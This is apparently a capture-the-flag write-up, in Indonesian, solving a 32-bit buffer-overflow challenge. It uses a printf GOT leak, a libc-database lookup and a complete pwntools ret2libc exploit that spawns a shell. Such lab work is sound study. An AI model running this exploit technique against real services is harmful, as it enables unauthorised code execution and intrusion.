Masalah

Diberikan sebuah binary otongwarteg dan layanan yang dapat diakses melalui nc pwn.botani.cf 3237.

Penyelesaian

Memeriksa keamanan binary

$ checksec otongwarteg
[*] 'otongwarteg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Berdasarkan luaran, NX enabled yang mengindikasikan binary tersebut harus dieksploitasi dengan teknik Return Oriented Programming (ROP).

Mencari jumlah buffer yang bisa menyebabkan pesan galat Segmentation Fault

$ mdc fsi otongwarteg
...
Ente mau beli apa?
[1] Ayam Goreng - Rp. 12000
[2] Semur Jengkol - Rp. 19000
[3] Lele bakar - Rp. 21000
[4] Nasi Putih - Rp. 51000
[5] Air minum - Rp. 78000
Ketik nomor yang mau ente beli ...
Harga yang harus kamu bayar murah sekali, hanya Rp.1094795585
...
SEGMENTATION FAULT on 1333 BUFFER
...

Berdasarkan luaran, binary akan mengeluarkan pesan galat Segmentation Fault dengan masukan sejumlah 1333 buffer.

Analisis binary untuk mencari jalur ROP

Secara normal, binary akan mencetak luaran berdasarkan masukan pengguna dengan fungsi printf(). Ini bisa dimanfaatkan untuk mencetak GOT printf() guna mencari alamat LIBC server.

Untuk melakukan hal tersebut, gunakan ROP chain sebagai berikut:

PLT['printf'] + Symbols['main'] + String Address + GOT['printf']

Perlu diketahui bahwa String Address yang digunakan harus mengandung specifier format string dalam fungsi printf().

$ rabin -z otongwarteg 
...
0x08048666    0x00000666    namaku %s
...

Perlu diketahui, alamat yang digunakan telah ditambah offset. Untuk memeriksanya gunakan GDB.

$ gdb -q otongwarteg
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ strings
...
0x8049666: namaku %s
...

Leaking address

from pwn import *

elf = ELF('otongwarteg')
r = process('./otongwarteg')

p = ''
p += 'A'*1337 # adjust this from 1333 to 1337
p += p32(elf.plt['printf'])
p += p32(elf.symbols['main'])
p += p32(0x0804966d) # adjust this from 0x08049666 to 0x0804966d
p += p32(elf.got['printf'])

log.info(r.recv())
r.sendline(p)

leaked = r.recv()
log.info(hex(u32(leaked[:4]))) # get the first 4 bytes

Luaran

$ python leaker.py
...
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] 0x8048571
[*] 0x8048370
[*] 0x804a00c
[+] Starting local process './otongwarteg': Done
[*] Otong Warteg :: Warteg for hackers!!

    Ente mau beli apa?
    [1] Ayam Goreng - Rp. 12000
    [2] Semur Jengkol - Rp. 19000
    [3] Lele bakar - Rp. 21000
    [4] Nasi Putih - Rp. 51000
    [5] Air minum - Rp. 78000
    Ketik nomor yang mau ente beli ...
[*] 0xf7e38410
[*] Stopped program './otongwarteg'

Berdasarkan luaran, GOT printf() telah didapatkan pada alamat 0xf7e38410.

Mencari offset antara LIBC server dan LIBC client

Gunakan libc-database dan 12 bit terakhir dari alamat yang telah berhasil diungkap.

$ python
>>> hex( int(bin(0xf7e38410)[2:][-12:], 2) )
'0x410'

Mencari LIBC yang sesuai terlebih dahulu.

$ ./find printf 410
ubuntu-trusty-i386-libc6 (id libc6_2.19-0ubuntu6.9_i386)

Cetak offset bawaan dan offset fungsi printf()

$ ./dump libc6_2.19-0ubuntu6.9_i386
offset___libc_start_main_ret = 0x19af3
offset_system = 0x00040310
offset_dup2 = 0x000db920
offset_read = 0x000daf60
offset_write = 0x000dafe0
offset_str_bin_sh = 0x16084c
$ ./dump libc6_2.19-0ubuntu6.9_i386 printf
offset_printf = 0x0004d410

Eksploitasi untuk mendapatkan akses shell

from pwn import *

elf = ELF('otongwarteg')
r = process('./otongwarteg')

p = ''
p += 'A'*1337
p += p32(elf.plt['printf'])
p += p32(elf.symbols['main'])
p += p32(0x0804966d)
p += p32(elf.got['printf'])

log.info(r.recv())
r.sendline(p)

leaked = r.recv()
log.info(hex(u32(leaked[:4])))

srv = {'got':{}, 'libc':{}}
srv['got']['printf'] = u32(leaked[:4])

offset = {}
offset['printf'] = 0x0004d410
offset['system'] = 0x00040310
offset['sh'] = 0x16084c

srv['libc']['base'] = srv['got']['printf'] - offset['printf']
srv['libc']['system'] = srv['libc']['base'] + offset['system']
srv['libc']['sh'] = srv['libc']['base'] + offset['sh']

p = ''
p += 'A'*1337
p += p32(srv['libc']['system'])
p += 'X'*4
p += p32(srv['libc']['sh'])
r.sendline(p)
r.interactive()

Luaran

$ python exploit.py 
...
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './otongwarteg': Done
[*] Otong Warteg :: Warteg for hackers!!

    Ente mau beli apa?
    [1] Ayam Goreng - Rp. 12000
    [2] Semur Jengkol - Rp. 19000
    [3] Lele bakar - Rp. 21000
    [4] Nasi Putih - Rp. 51000
    [5] Air minum - Rp. 78000
    Ketik nomor yang mau ente beli ...
[*] 0xf7e38410
[*] Switching to interactive mode
$ cat flag.txt
CTF{ROP_LEAK_GOT_AND_GET_THE_SHELL}
...

results matching ""

    No results matching ""